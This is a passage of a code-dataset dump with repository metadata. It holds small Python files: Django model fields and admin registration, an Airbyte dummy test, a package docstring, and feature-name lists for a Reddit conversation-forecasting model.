s2_dif = models.IntegerField(null=True)
s3_dif = models.IntegerField(null=True)
s4_dif = models.IntegerField(null=True)
s5_dif = models.IntegerField(null=True)
s6_dif = models.IntegerField(null=True)
s7_dif = models.IntegerField(null=True)
s8_dif = models.IntegerField(null=True)
s9_dif = models.IntegerField(null=True)
s10_dif = models.IntegerField(null=True)
s11_dif = models.IntegerField(null=True)
s12_dif = models.IntegerField(null=True)
s13_dif = models.IntegerField(null=True)
s14_dif = models.IntegerField(null=True)
s15_dif = models.IntegerField(null=True)
s16_dif = models.IntegerField(null=True)
s17_dif = models.IntegerField(null=True)
#fin dif
ssr=models.FloatField(null=True)
sss=models.FloatField(null=True)
ssd=models.FloatField(null=True)
cargarchivo=models.FileField(upload_to="misCargas",max_length=150,null=True,blank=True)
| 44.984375
| 91
| 0.728031
| 376
| 2,879
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| 0.55027
| 0.650319
| 0.821972
| 0
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| 0
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| 0.164988
| 2,879
| 64
| 91
| 44.984375
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|
0
| 5
|
862bcbc5b750b68be436cdf6d6241a123b373850
| 172
|
py
|
Python
|
students/K33402/Shutov_Daniil/LR3/cities/admin.py
|
danyashutov/ITMO_ICT_WebDevelopment_2021-2022
|
a6b709e38f10c807bde7f85cc4457676a7236380
|
[
"MIT"
] | null | null | null |
students/K33402/Shutov_Daniil/LR3/cities/admin.py
|
danyashutov/ITMO_ICT_WebDevelopment_2021-2022
|
a6b709e38f10c807bde7f85cc4457676a7236380
|
[
"MIT"
] | null | null | null |
students/K33402/Shutov_Daniil/LR3/cities/admin.py
|
danyashutov/ITMO_ICT_WebDevelopment_2021-2022
|
a6b709e38f10c807bde7f85cc4457676a7236380
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from cities.models import City, CityPreference
# Register your models here.
admin.site.register(City)
admin.site.register(CityPreference)
| 24.571429
| 46
| 0.825581
| 23
| 172
| 6.173913
| 0.565217
| 0.126761
| 0.239437
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098837
| 172
| 6
| 47
| 28.666667
| 0.916129
| 0.151163
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| true
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| null | 0
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| 1
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| 0
| 0
|
0
| 5
|
869f9c8fc10e0cf36eeafd45b26abe78332f33f7
| 159
|
py
|
Python
|
airbyte-integrations/connectors/source-shopify/integration_tests/integration_test.py
|
onaio/airbyte
|
38302e82a25f1b66742c3febfbff0668556920f2
|
[
"MIT"
] | 22
|
2020-08-27T00:47:20.000Z
|
2020-09-17T15:39:39.000Z
|
airbyte-integrations/connectors/source-shopify/integration_tests/integration_test.py
|
onaio/airbyte
|
38302e82a25f1b66742c3febfbff0668556920f2
|
[
"MIT"
] | 116
|
2020-08-27T01:11:27.000Z
|
2020-09-19T02:47:52.000Z
|
airbyte-integrations/connectors/source-shopify/integration_tests/integration_test.py
|
onaio/airbyte
|
38302e82a25f1b66742c3febfbff0668556920f2
|
[
"MIT"
] | 1
|
2020-09-15T06:10:01.000Z
|
2020-09-15T06:10:01.000Z
|
#
# Copyright (c) 2022 Airbyte, Inc., all rights reserved.
#
def test_dummy_test():
"""this is the dummy test to pass integration tests step"""
pass
| 17.666667
| 63
| 0.672956
| 23
| 159
| 4.565217
| 0.826087
| 0.171429
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| 0.032
| 0.213836
| 159
| 8
| 64
| 19.875
| 0.808
| 0.685535
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| 0.5
| true
| 0.5
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| null | 0
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| null | 0
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| 1
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| 0
| 0
| 0
|
0
| 5
|
86d4acd26b5f9510409a62db45fa8c1f26201c2d
| 42
|
py
|
Python
|
env/lib/python3.6/site-packages/dal_genericm2m/__init__.py
|
anthowen/duplify
|
846d01c1b21230937fdf0281b0cf8c0b08a8c24e
|
[
"MIT"
] | 1,368
|
2015-01-03T09:52:33.000Z
|
2022-03-27T09:06:00.000Z
|
env/lib/python3.6/site-packages/dal_genericm2m/__init__.py
|
anthowen/duplify
|
846d01c1b21230937fdf0281b0cf8c0b08a8c24e
|
[
"MIT"
] | 919
|
2015-01-01T05:17:48.000Z
|
2022-03-25T22:41:14.000Z
|
env/lib/python3.6/site-packages/dal_genericm2m/__init__.py
|
anthowen/duplify
|
846d01c1b21230937fdf0281b0cf8c0b08a8c24e
|
[
"MIT"
] | 469
|
2015-01-19T21:40:30.000Z
|
2022-03-26T17:27:40.000Z
|
"""django-generic-m2m support for DAL."""
| 21
| 41
| 0.690476
| 6
| 42
| 4.833333
| 1
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| 0.026316
| 0.095238
| 42
| 1
| 42
| 42
| 0.736842
| 0.833333
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
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| null | null | null | 1
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0
| 5
|
86de10bb9e0d4554657cfcbefeca48d0e9bda91f
| 57,762
|
py
|
Python
|
src/models/__init__.py
|
davidjurgens/prosocial-conversation-forecasting
|
473496d59e37a78d6246bf0f8eba3571114e29d2
|
[
"BSD-2-Clause"
] | 3
|
2021-05-03T02:22:08.000Z
|
2021-11-03T17:50:30.000Z
|
src/models/__init__.py
|
davidjurgens/prosocial-conversation-forecasting
|
473496d59e37a78d6246bf0f8eba3571114e29d2
|
[
"BSD-2-Clause"
] | null | null | null |
src/models/__init__.py
|
davidjurgens/prosocial-conversation-forecasting
|
473496d59e37a78d6246bf0f8eba3571114e29d2
|
[
"BSD-2-Clause"
] | null | null | null |
FEATURES = [
'Post_Top_comment_Jaccard_sim', 'Post_Top_comment_topic_cosine_similarity',
'Post_text', 'Post_topic0', 'Post_topic1', 'Post_topic10', 'Post_topic11',
'Post_topic12', 'Post_topic13', 'Post_topic14', 'Post_topic15', 'Post_topic16',
'Post_topic17', 'Post_topic18', 'Post_topic2', 'Post_topic3', 'Post_topic4',
'Post_topic5', 'Post_topic6', 'Post_topic7', 'Post_topic8', 'Post_topic9',
'Top_comment_advice_count', 'Top_comment_agreement_value',
'Top_comment_and_Post_time_difference', 'Top_comment_author',
'Top_comment_author_gender_value', 'Top_comment_compliments_count',
'Top_comment_day', 'Top_comment_day_of_week', 'Top_comment_fundraising_URL_count',
'Top_comment_gratitude_count', 'Top_comment_hour', 'Top_comment_i_language_count',
'Top_comment_informative_URL_count', 'Top_comment_informative_count',
'Top_comment_laughter_count', 'Top_comment_link_count', 'Top_comment_mispellings',
'Top_comment_polarity', 'Top_comment_politeness_value',
'Top_comment_readability', 'Top_comment_score', 'Top_comment_subjectivity',
'Top_comment_subreddit', 'Top_comment_support_value', 'Top_comment_text',
'Top_comment_topic0', 'Top_comment_topic1', 'Top_comment_topic10',
'Top_comment_topic11', 'Top_comment_topic12', 'Top_comment_topic13',
'Top_comment_topic14', 'Top_comment_topic15', 'Top_comment_topic16',
'Top_comment_topic17', 'Top_comment_topic18', 'Top_comment_topic2',
'Top_comment_topic3', 'Top_comment_topic4', 'Top_comment_topic5',
'Top_comment_topic6', 'Top_comment_topic7', 'Top_comment_topic8',
'Top_comment_topic9', 'Top_comment_tuned_toxicity', 'Top_comment_untuned_toxicity',
'Top_comment_word_count'
] # 69 features
ALBERT_META_FEATURES = [
'Post_Top_comment_Jaccard_sim', 'Post_Top_comment_topic_cosine_similarity',
'Post_topic0', 'Post_topic1', 'Post_topic10', 'Post_topic11',
'Post_topic12', 'Post_topic13', 'Post_topic14', 'Post_topic15', 'Post_topic16',
'Post_topic17', 'Post_topic18', 'Post_topic2', 'Post_topic3', 'Post_topic4',
'Post_topic5', 'Post_topic6', 'Post_topic7', 'Post_topic8', 'Post_topic9',
'Top_comment_advice_count', 'Top_comment_agreement_value',
'Top_comment_and_Post_time_difference',
'Top_comment_author_gender_value', 'Top_comment_compliments_count',
'Top_comment_day', 'Top_comment_day_of_week', 'Top_comment_fundraising_URL_count',
'Top_comment_gratitude_count', 'Top_comment_hour', 'Top_comment_i_language_count',
'Top_comment_informative_URL_count', 'Top_comment_informative_count',
'Top_comment_laughter_count', 'Top_comment_link_count', 'Top_comment_mispellings',
'Top_comment_polarity', 'Top_comment_politeness_value',
'Top_comment_readability', 'Top_comment_score', 'Top_comment_subjectivity', 'Top_comment_support_value',
'Top_comment_topic0', 'Top_comment_topic1', 'Top_comment_topic10',
'Top_comment_topic11', 'Top_comment_topic12', 'Top_comment_topic13',
'Top_comment_topic14', 'Top_comment_topic15', 'Top_comment_topic16',
'Top_comment_topic17', 'Top_comment_topic18', 'Top_comment_topic2',
'Top_comment_topic3', 'Top_comment_topic4', 'Top_comment_topic5',
'Top_comment_topic6', 'Top_comment_topic7', 'Top_comment_topic8',
'Top_comment_topic9', 'Top_comment_tuned_toxicity', 'Top_comment_untuned_toxicity',
'Top_comment_word_count'
] # 65 features: it does not include 'Top_comment_author', 'Top_comment_subreddit', 'Top_comment_text', 'Post_text'
XGBOOST_FEATURES = ['Top_comment_and_Post_time_difference', 'Top_comment_day', 'Top_comment_day_of_week', 'Top_comment_hour', 'Top_comment_link_count', 'Top_comment_score', 'Top_comment_mispellings', 'Top_comment_author_gender_value', 'Top_comment_agreement_value', 'Top_comment_support_value', 'Top_comment_politeness_value', 'Top_comment_informative_count', 'Top_comment_advice_count', 'Top_comment_laughter_count', 'Top_comment_gratitude_count', 'Top_comment_fundraising_URL_count', 'Top_comment_informative_URL_count', 'Top_comment_i_language_count', 'Top_comment_compliments_count', 'Top_comment_tuned_toxicity', 'Top_comment_untuned_toxicity', 'Top_comment_topic0', 'Top_comment_topic1', 'Top_comment_topic2', 'Top_comment_topic3', 'Top_comment_topic4', 'Top_comment_topic5', 'Top_comment_topic6', 'Top_comment_topic7', 'Top_comment_topic8', 'Top_comment_topic9', 'Top_comment_topic10', 'Top_comment_topic11', 'Top_comment_topic12', 'Top_comment_topic13', 'Top_comment_topic14', 'Top_comment_topic15', 'Top_comment_topic16', 'Top_comment_topic17', 'Top_comment_topic18', 'Post_topic0', 'Post_topic1', 'Post_topic2', 'Post_topic3', 'Post_topic4', 'Post_topic5', 'Post_topic6', 'Post_topic7', 'Post_topic8', 'Post_topic9', 'Post_topic10', 'Post_topic11', 'Post_topic12', 'Post_topic13', 'Post_topic14', 'Post_topic15', 'Post_topic16', 'Post_topic17', 'Post_topic18', 'Post_Top_comment_topic_cosine_similarity', 'Post_Top_comment_Jaccard_sim', 'Top_comment_polarity', 'Top_comment_subjectivity', 'Top_comment_word_count', 'Top_comment_readability', 'Top_comment_unigram0', 'Top_comment_unigram1', 'Top_comment_unigram2', 'Top_comment_unigram3', 'Top_comment_unigram4', 'Top_comment_unigram5', 'Top_comment_unigram6', 'Top_comment_unigram7', 'Top_comment_unigram8', 'Top_comment_unigram9', 'Top_comment_unigram10', 'Top_comment_unigram11', 'Top_comment_unigram12', 'Top_comment_unigram13', 'Top_comment_unigram14', 'Top_comment_unigram15', 'Top_comment_unigram16', 'Top_comment_unigram17', 'Top_comment_unigram18', 'Top_comment_unigram19', 'Top_comment_unigram20', 'Top_comment_unigram21', 'Top_comment_unigram22', 'Top_comment_unigram23', 'Top_comment_unigram24', 'Top_comment_unigram25', 'Top_comment_unigram26', 'Top_comment_unigram27', 'Top_comment_unigram28', 'Top_comment_unigram29', 'Top_comment_unigram30', 'Top_comment_unigram31', 'Top_comment_unigram32', 'Top_comment_unigram33', 'Top_comment_unigram34', 'Top_comment_unigram35', 'Top_comment_unigram36', 'Top_comment_unigram37', 'Top_comment_unigram38', 'Top_comment_unigram39', 'Top_comment_unigram40', 'Top_comment_unigram41', 'Top_comment_unigram42', 'Top_comment_unigram43', 'Top_comment_unigram44', 'Top_comment_unigram45', 'Top_comment_unigram46', 'Top_comment_unigram47', 'Top_comment_unigram48', 'Top_comment_unigram49', 'Top_comment_unigram50', 'Top_comment_unigram51', 'Top_comment_unigram52', 'Top_comment_unigram53', 'Top_comment_unigram54', 'Top_comment_unigram55', 'Top_comment_unigram56', 'Top_comment_unigram57', 'Top_comment_unigram58', 'Top_comment_unigram59', 'Top_comment_unigram60', 'Top_comment_unigram61', 'Top_comment_unigram62', 'Top_comment_unigram63', 'Top_comment_unigram64', 'Top_comment_unigram65', 'Top_comment_unigram66', 'Top_comment_unigram67', 'Top_comment_unigram68', 'Top_comment_unigram69', 'Top_comment_unigram70', 'Top_comment_unigram71', 'Top_comment_unigram72', 'Top_comment_unigram73', 'Top_comment_unigram74', 'Top_comment_unigram75', 'Top_comment_unigram76', 'Top_comment_unigram77', 'Top_comment_unigram78', 'Top_comment_unigram79', 'Top_comment_unigram80', 'Top_comment_unigram81', 'Top_comment_unigram82', 'Top_comment_unigram83', 'Top_comment_unigram84', 'Top_comment_unigram85', 'Top_comment_unigram86', 'Top_comment_unigram87', 'Top_comment_unigram88', 'Top_comment_unigram89', 'Top_comment_unigram90', 'Top_comment_unigram91', 'Top_comment_unigram92', 'Top_comment_unigram93', 'Top_comment_unigram94', 'Top_comment_unigram95', 'Top_comment_unigram96', 'Top_comment_unigram97', 'Top_comment_unigram98', 'Top_comment_unigram99', 'Top_comment_unigram100', 'Top_comment_unigram101', 'Top_comment_unigram102', 'Top_comment_unigram103', 'Top_comment_unigram104', 'Top_comment_unigram105', 'Top_comment_unigram106', 'Top_comment_unigram107', 'Top_comment_unigram108', 'Top_comment_unigram109', 'Top_comment_unigram110', 'Top_comment_unigram111', 'Top_comment_unigram112', 'Top_comment_unigram113', 'Top_comment_unigram114', 'Top_comment_unigram115', 'Top_comment_unigram116', 'Top_comment_unigram117', 'Top_comment_unigram118', 'Top_comment_unigram119', 'Top_comment_unigram120', 'Top_comment_unigram121', 'Top_comment_unigram122', 'Top_comment_unigram123', 'Top_comment_unigram124', 'Top_comment_unigram125', 'Top_comment_unigram126', 'Top_comment_unigram127', 'Top_comment_unigram128', 'Top_comment_unigram129', 'Top_comment_unigram130', 'Top_comment_unigram131', 'Top_comment_unigram132', 'Top_comment_unigram133', 'Top_comment_unigram134', 'Top_comment_unigram135', 'Top_comment_unigram136', 'Top_comment_unigram137', 'Top_comment_unigram138', 'Top_comment_unigram139', 'Top_comment_unigram140', 'Top_comment_unigram141', 'Top_comment_unigram142', 'Top_comment_unigram143', 'Top_comment_unigram144', 'Top_comment_unigram145', 'Top_comment_unigram146', 'Top_comment_unigram147', 'Top_comment_unigram148', 'Top_comment_unigram149', 'Top_comment_unigram150', 'Top_comment_unigram151', 'Top_comment_unigram152', 'Top_comment_unigram153', 'Top_comment_unigram154', 'Top_comment_unigram155', 'Top_comment_unigram156', 'Top_comment_unigram157', 'Top_comment_unigram158', 'Top_comment_unigram159', 'Top_comment_unigram160', 'Top_comment_unigram161', 'Top_comment_unigram162', 'Top_comment_unigram163', 'Top_comment_unigram164', 'Top_comment_unigram165', 'Top_comment_unigram166', 'Top_comment_unigram167', 'Top_comment_unigram168', 'Top_comment_unigram169', 'Top_comment_unigram170', 'Top_comment_unigram171', 'Top_comment_unigram172', 'Top_comment_unigram173', 'Top_comment_unigram174', 'Top_comment_unigram175', 'Top_comment_unigram176', 'Top_comment_unigram177', 'Top_comment_unigram178', 'Top_comment_unigram179', 'Top_comment_unigram180', 'Top_comment_unigram181', 'Top_comment_unigram182', 'Top_comment_unigram183', 'Top_comment_unigram184', 'Top_comment_unigram185', 'Top_comment_unigram186', 'Top_comment_unigram187', 'Top_comment_unigram188', 'Top_comment_unigram189', 'Top_comment_unigram190', 'Top_comment_unigram191', 'Top_comment_unigram192', 'Top_comment_unigram193', 'Top_comment_unigram194', 'Top_comment_unigram195', 'Top_comment_unigram196', 'Top_comment_unigram197', 'Top_comment_unigram198', 'Top_comment_unigram199', 'Top_comment_unigram200', 'Top_comment_unigram201', 'Top_comment_unigram202', 'Top_comment_unigram203', 'Top_comment_unigram204', 'Top_comment_unigram205', 'Top_comment_unigram206', 'Top_comment_unigram207', 'Top_comment_unigram208', 'Top_comment_unigram209', 'Top_comment_unigram210', 'Top_comment_unigram211', 'Top_comment_unigram212', 'Top_comment_unigram213', 'Top_comment_unigram214', 'Top_comment_unigram215', 'Top_comment_unigram216', 'Top_comment_unigram217', 'Top_comment_unigram218', 'Top_comment_unigram219', 'Top_comment_unigram220', 'Top_comment_unigram221', 'Top_comment_unigram222', 'Top_comment_unigram223', 'Top_comment_unigram224', 'Top_comment_unigram225', 'Top_comment_unigram226', 'Top_comment_unigram227', 'Top_comment_unigram228', 'Top_comment_unigram229', 'Top_comment_unigram230', 'Top_comment_unigram231', 'Top_comment_unigram232', 'Top_comment_unigram233', 'Top_comment_unigram234', 'Top_comment_unigram235', 'Top_comment_unigram236', 'Top_comment_unigram237', 'Top_comment_unigram238', 'Top_comment_unigram239', 'Top_comment_unigram240', 'Top_comment_unigram241', 'Top_comment_unigram242', 'Top_comment_unigram243', 'Top_comment_unigram244', 'Top_comment_unigram245', 'Top_comment_unigram246', 'Top_comment_unigram247', 'Top_comment_unigram248', 'Top_comment_unigram249', 'Top_comment_unigram250', 'Top_comment_unigram251', 'Top_comment_unigram252', 'Top_comment_unigram253', 'Top_comment_unigram254', 'Top_comment_unigram255', 'Top_comment_unigram256', 'Top_comment_unigram257', 'Top_comment_unigram258', 'Top_comment_unigram259', 'Top_comment_unigram260', 'Top_comment_unigram261', 'Top_comment_unigram262', 'Top_comment_unigram263', 'Top_comment_unigram264', 'Top_comment_unigram265', 'Top_comment_unigram266', 'Top_comment_unigram267', 'Top_comment_unigram268', 'Top_comment_unigram269', 'Top_comment_unigram270', 'Top_comment_unigram271', 'Top_comment_unigram272', 'Top_comment_unigram273', 'Top_comment_unigram274', 'Top_comment_unigram275', 'Top_comment_unigram276', 'Top_comment_unigram277', 'Top_comment_unigram278', 'Top_comment_unigram279', 'Top_comment_unigram280', 'Top_comment_unigram281', 'Top_comment_unigram282', 'Top_comment_unigram283', 'Top_comment_unigram284', 'Top_comment_unigram285', 'Top_comment_unigram286', 'Top_comment_unigram287', 'Top_comment_unigram288', 'Top_comment_unigram289', 'Top_comment_unigram290', 'Top_comment_unigram291', 'Top_comment_unigram292', 'Top_comment_unigram293', 'Top_comment_unigram294', 'Top_comment_unigram295', 'Top_comment_unigram296', 'Top_comment_unigram297', 'Top_comment_unigram298', 'Top_comment_unigram299', 'Top_comment_unigram300', 'Top_comment_unigram301', 'Top_comment_unigram302', 'Top_comment_unigram303', 'Top_comment_unigram304', 'Top_comment_unigram305', 'Top_comment_unigram306', 'Top_comment_unigram307', 'Top_comment_unigram308', 'Top_comment_unigram309', 'Top_comment_unigram310', 'Top_comment_unigram311', 'Top_comment_unigram312', 'Top_comment_unigram313', 'Top_comment_unigram314', 'Top_comment_unigram315', 'Top_comment_unigram316', 'Top_comment_unigram317', 'Top_comment_unigram318', 'Top_comment_unigram319', 'Top_comment_unigram320', 'Top_comment_unigram321', 'Top_comment_unigram322', 'Top_comment_unigram323', 'Top_comment_unigram324', 'Top_comment_unigram325', 'Top_comment_unigram326', 'Top_comment_unigram327', 'Top_comment_unigram328', 'Top_comment_unigram329', 'Top_comment_unigram330', 'Top_comment_unigram331', 'Top_comment_unigram332', 'Top_comment_unigram333', 'Top_comment_unigram334', 'Top_comment_unigram335', 'Top_comment_unigram336', 'Top_comment_unigram337', 'Top_comment_unigram338', 'Top_comment_unigram339', 'Top_comment_unigram340', 'Top_comment_unigram341', 'Top_comment_unigram342', 'Top_comment_unigram343', 'Top_comment_unigram344', 'Top_comment_unigram345', 'Top_comment_unigram346', 'Top_comment_unigram347', 'Top_comment_unigram348', 'Top_comment_unigram349', 'Top_comment_unigram350', 'Top_comment_unigram351', 'Top_comment_unigram352', 'Top_comment_unigram353', 'Top_comment_unigram354', 'Top_comment_unigram355', 'Top_comment_unigram356', 'Top_comment_unigram357', 'Top_comment_unigram358', 'Top_comment_unigram359', 'Top_comment_unigram360', 'Top_comment_unigram361', 'Top_comment_unigram362', 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'Top_comment_bigram652', 'Top_comment_bigram653', 'Top_comment_bigram654', 'Top_comment_bigram655', 'Top_comment_bigram656', 'Top_comment_bigram657', 'Top_comment_bigram658', 'Top_comment_bigram659', 'Top_comment_bigram660', 'Top_comment_bigram661', 'Top_comment_bigram662', 'Top_comment_bigram663', 'Top_comment_bigram664', 'Top_comment_bigram665', 'Top_comment_bigram666', 'Top_comment_bigram667', 'Top_comment_bigram668', 'Top_comment_bigram669', 'Top_comment_bigram670', 'Top_comment_bigram671', 'Top_comment_bigram672', 'Top_comment_bigram673', 'Top_comment_bigram674', 'Top_comment_bigram675', 'Top_comment_bigram676', 'Top_comment_bigram677', 'Top_comment_bigram678', 'Top_comment_bigram679', 'Top_comment_bigram680', 'Top_comment_bigram681', 'Top_comment_bigram682', 'Top_comment_bigram683', 'Top_comment_bigram684', 'Top_comment_bigram685', 'Top_comment_bigram686', 'Top_comment_bigram687', 'Top_comment_bigram688', 'Top_comment_bigram689', 'Top_comment_bigram690', 'Top_comment_bigram691', 'Top_comment_bigram692', 'Top_comment_bigram693', 'Top_comment_bigram694', 'Top_comment_bigram695', 'Top_comment_bigram696', 'Top_comment_bigram697', 'Top_comment_bigram698', 'Top_comment_bigram699', 'Top_comment_bigram700', 'Top_comment_bigram701', 'Top_comment_bigram702', 'Top_comment_bigram703', 'Top_comment_bigram704', 'Top_comment_bigram705', 'Top_comment_bigram706', 'Top_comment_bigram707', 'Top_comment_bigram708', 'Top_comment_bigram709', 'Top_comment_bigram710', 'Top_comment_bigram711', 'Top_comment_bigram712', 'Top_comment_bigram713', 'Top_comment_bigram714', 'Top_comment_bigram715', 'Top_comment_bigram716', 'Top_comment_bigram717', 'Top_comment_bigram718', 'Top_comment_bigram719', 'Top_comment_bigram720', 'Top_comment_bigram721', 'Top_comment_bigram722', 'Top_comment_bigram723', 'Top_comment_bigram724', 'Top_comment_bigram725', 'Top_comment_bigram726', 'Top_comment_bigram727', 'Top_comment_bigram728', 'Top_comment_bigram729', 'Top_comment_bigram730', 'Top_comment_bigram731', 'Top_comment_bigram732', 'Top_comment_bigram733', 'Top_comment_bigram734', 'Top_comment_bigram735', 'Top_comment_bigram736', 'Top_comment_bigram737', 'Top_comment_bigram738', 'Top_comment_bigram739', 'Top_comment_bigram740', 'Top_comment_bigram741', 'Top_comment_bigram742', 'Top_comment_bigram743', 'Top_comment_bigram744', 'Top_comment_bigram745', 'Top_comment_bigram746', 'Top_comment_bigram747', 'Top_comment_bigram748', 'Top_comment_bigram749', 'Top_comment_bigram750', 'Top_comment_bigram751', 'Top_comment_bigram752', 'Top_comment_bigram753', 'Top_comment_bigram754', 'Top_comment_bigram755', 'Top_comment_bigram756', 'Top_comment_bigram757', 'Top_comment_bigram758', 'Top_comment_bigram759', 'Top_comment_bigram760', 'Top_comment_bigram761', 'Top_comment_bigram762', 'Top_comment_bigram763', 'Top_comment_bigram764', 'Top_comment_bigram765', 'Top_comment_bigram766', 'Top_comment_bigram767', 'Top_comment_bigram768', 'Top_comment_bigram769', 'Top_comment_bigram770', 'Top_comment_bigram771', 'Top_comment_bigram772', 'Top_comment_bigram773', 'Top_comment_bigram774', 'Top_comment_bigram775', 'Top_comment_bigram776', 'Top_comment_bigram777', 'Top_comment_bigram778', 'Top_comment_bigram779', 'Top_comment_bigram780', 'Top_comment_bigram781', 'Top_comment_bigram782', 'Top_comment_bigram783', 'Top_comment_bigram784', 'Top_comment_bigram785', 'Top_comment_bigram786', 'Top_comment_bigram787', 'Top_comment_bigram788', 'Top_comment_bigram789', 'Top_comment_bigram790', 'Top_comment_bigram791', 'Top_comment_bigram792', 'Top_comment_bigram793', 'Top_comment_bigram794', 'Top_comment_bigram795', 'Top_comment_bigram796', 'Top_comment_bigram797', 'Top_comment_bigram798', 'Top_comment_bigram799', 'Top_comment_bigram800', 'Top_comment_bigram801', 'Top_comment_bigram802', 'Top_comment_bigram803', 'Top_comment_bigram804', 'Top_comment_bigram805', 'Top_comment_bigram806', 'Top_comment_bigram807', 'Top_comment_bigram808', 'Top_comment_bigram809', 'Top_comment_bigram810', 'Top_comment_bigram811', 'Top_comment_bigram812', 'Top_comment_bigram813', 'Top_comment_bigram814', 'Top_comment_bigram815', 'Top_comment_bigram816', 'Top_comment_bigram817', 'Top_comment_bigram818', 'Top_comment_bigram819', 'Top_comment_bigram820', 'Top_comment_bigram821', 'Top_comment_bigram822', 'Top_comment_bigram823', 'Top_comment_bigram824', 'Top_comment_bigram825', 'Top_comment_bigram826', 'Top_comment_bigram827', 'Top_comment_bigram828', 'Top_comment_bigram829', 'Top_comment_bigram830', 'Top_comment_bigram831', 'Top_comment_bigram832', 'Top_comment_bigram833', 'Top_comment_bigram834', 'Top_comment_bigram835', 'Top_comment_bigram836', 'Top_comment_bigram837', 'Top_comment_bigram838', 'Top_comment_bigram839', 'Top_comment_bigram840', 'Top_comment_bigram841', 'Top_comment_bigram842', 'Top_comment_bigram843', 'Top_comment_bigram844', 'Top_comment_bigram845', 'Top_comment_bigram846', 'Top_comment_bigram847', 'Top_comment_bigram848', 'Top_comment_bigram849', 'Top_comment_bigram850', 'Top_comment_bigram851', 'Top_comment_bigram852', 'Top_comment_bigram853', 'Top_comment_bigram854', 'Top_comment_bigram855', 'Top_comment_bigram856', 'Top_comment_bigram857', 'Top_comment_bigram858', 'Top_comment_bigram859', 'Top_comment_bigram860', 'Top_comment_bigram861', 'Top_comment_bigram862', 'Top_comment_bigram863', 'Top_comment_bigram864', 'Top_comment_bigram865', 'Top_comment_bigram866', 'Top_comment_bigram867', 'Top_comment_bigram868', 'Top_comment_bigram869', 'Top_comment_bigram870', 'Top_comment_bigram871', 'Top_comment_bigram872', 'Top_comment_bigram873', 'Top_comment_bigram874', 'Top_comment_bigram875', 'Top_comment_bigram876', 'Top_comment_bigram877', 'Top_comment_bigram878', 'Top_comment_bigram879', 'Top_comment_bigram880', 'Top_comment_bigram881', 'Top_comment_bigram882', 'Top_comment_bigram883', 'Top_comment_bigram884', 'Top_comment_bigram885', 'Top_comment_bigram886', 'Top_comment_bigram887', 'Top_comment_bigram888', 'Top_comment_bigram889', 'Top_comment_bigram890', 'Top_comment_bigram891', 'Top_comment_bigram892', 'Top_comment_bigram893', 'Top_comment_bigram894', 'Top_comment_bigram895', 'Top_comment_bigram896', 'Top_comment_bigram897', 'Top_comment_bigram898', 'Top_comment_bigram899', 'Top_comment_bigram900', 'Top_comment_bigram901', 'Top_comment_bigram902', 'Top_comment_bigram903', 'Top_comment_bigram904', 'Top_comment_bigram905', 'Top_comment_bigram906', 'Top_comment_bigram907', 'Top_comment_bigram908', 'Top_comment_bigram909', 'Top_comment_bigram910', 'Top_comment_bigram911', 'Top_comment_bigram912', 'Top_comment_bigram913', 'Top_comment_bigram914', 'Top_comment_bigram915', 'Top_comment_bigram916', 'Top_comment_bigram917', 'Top_comment_bigram918', 'Top_comment_bigram919', 'Top_comment_bigram920', 'Top_comment_bigram921', 'Top_comment_bigram922', 'Top_comment_bigram923', 'Top_comment_bigram924', 'Top_comment_bigram925', 'Top_comment_bigram926', 'Top_comment_bigram927', 'Top_comment_bigram928', 'Top_comment_bigram929', 'Top_comment_bigram930', 'Top_comment_bigram931', 'Top_comment_bigram932', 'Top_comment_bigram933', 'Top_comment_bigram934', 'Top_comment_bigram935', 'Top_comment_bigram936', 'Top_comment_bigram937', 'Top_comment_bigram938', 'Top_comment_bigram939', 'Top_comment_bigram940', 'Top_comment_bigram941', 'Top_comment_bigram942', 'Top_comment_bigram943', 'Top_comment_bigram944', 'Top_comment_bigram945', 'Top_comment_bigram946', 'Top_comment_bigram947', 'Top_comment_bigram948', 'Top_comment_bigram949', 'Top_comment_bigram950', 'Top_comment_bigram951', 'Top_comment_bigram952', 'Top_comment_bigram953', 'Top_comment_bigram954', 'Top_comment_bigram955', 'Top_comment_bigram956', 'Top_comment_bigram957', 'Top_comment_bigram958', 'Top_comment_bigram959', 'Top_comment_bigram960', 'Top_comment_bigram961', 'Top_comment_bigram962', 'Top_comment_bigram963', 'Top_comment_bigram964', 'Top_comment_bigram965', 'Top_comment_bigram966', 'Top_comment_bigram967', 'Top_comment_bigram968', 'Top_comment_bigram969', 'Top_comment_bigram970', 'Top_comment_bigram971', 'Top_comment_bigram972', 'Top_comment_bigram973', 'Top_comment_bigram974', 'Top_comment_bigram975', 'Top_comment_bigram976', 'Top_comment_bigram977', 'Top_comment_bigram978', 'Top_comment_bigram979', 'Top_comment_bigram980', 'Top_comment_bigram981', 'Top_comment_bigram982', 'Top_comment_bigram983', 'Top_comment_bigram984', 'Top_comment_bigram985', 'Top_comment_bigram986', 'Top_comment_bigram987', 'Top_comment_bigram988', 'Top_comment_bigram989', 'Top_comment_bigram990', 'Top_comment_bigram991', 'Top_comment_bigram992', 'Top_comment_bigram993', 'Top_comment_bigram994', 'Top_comment_bigram995', 'Top_comment_bigram996', 'Top_comment_bigram997', 'Top_comment_bigram998', 'Top_comment_bigram999']
# 2065 features in XGBOOST
OUTCOMES = [
'Replies_informative_count', 'Replies_links_count', 'Replies_max_depth', 'Replies_sum_score',
'Replies_total_number', 'Top_comment_article_accommodation', 'Top_comment_certain_accommodation',
'Top_comment_conj_accommodation', 'Top_comment_discrep_accommodation', 'Top_comment_excl_accommodation',
'Top_comment_incl_accommodation', 'Top_comment_ipron_accommodation', 'Top_comment_negate_accommodation',
'Top_comment_quant_accommodation', 'Top_comment_tentat_accommodation', 'Replies_advice_count',
'Replies_laughter_count', 'Replies_gratitude_count', 'Replies_informative_URL_count',
'Replies_i_language_count', 'Replies_compliments_count', 'Replies_untuned_toxicity_children_count',
'Top_comment_direct_children', 'Replies_distinct_pairs_of_sustained_conversation',
'Replies_max_turns_of_sustained_conversations', 'Replies_untuned_non_toxic_percentage'
] # 26 metrics
ALBERT_EIGENMETRICS = [
'PC0'
]
EIGENMETRICS = [
'PC0'
]
ALBERT_SUBREDDIT_HEADER = 'Top_comment_subreddit'
ALBERT_TOP_COMMENT_TEXT_HEADER = 'Top_comment_text'
ALBERT_POST_TEXT_HEADER = 'Post_text'
Roberta_TOP_COMMENT_TEXT_HEADER = 'Top_comment_text'
Roberta_EIGENMETRICS = 'PC0'
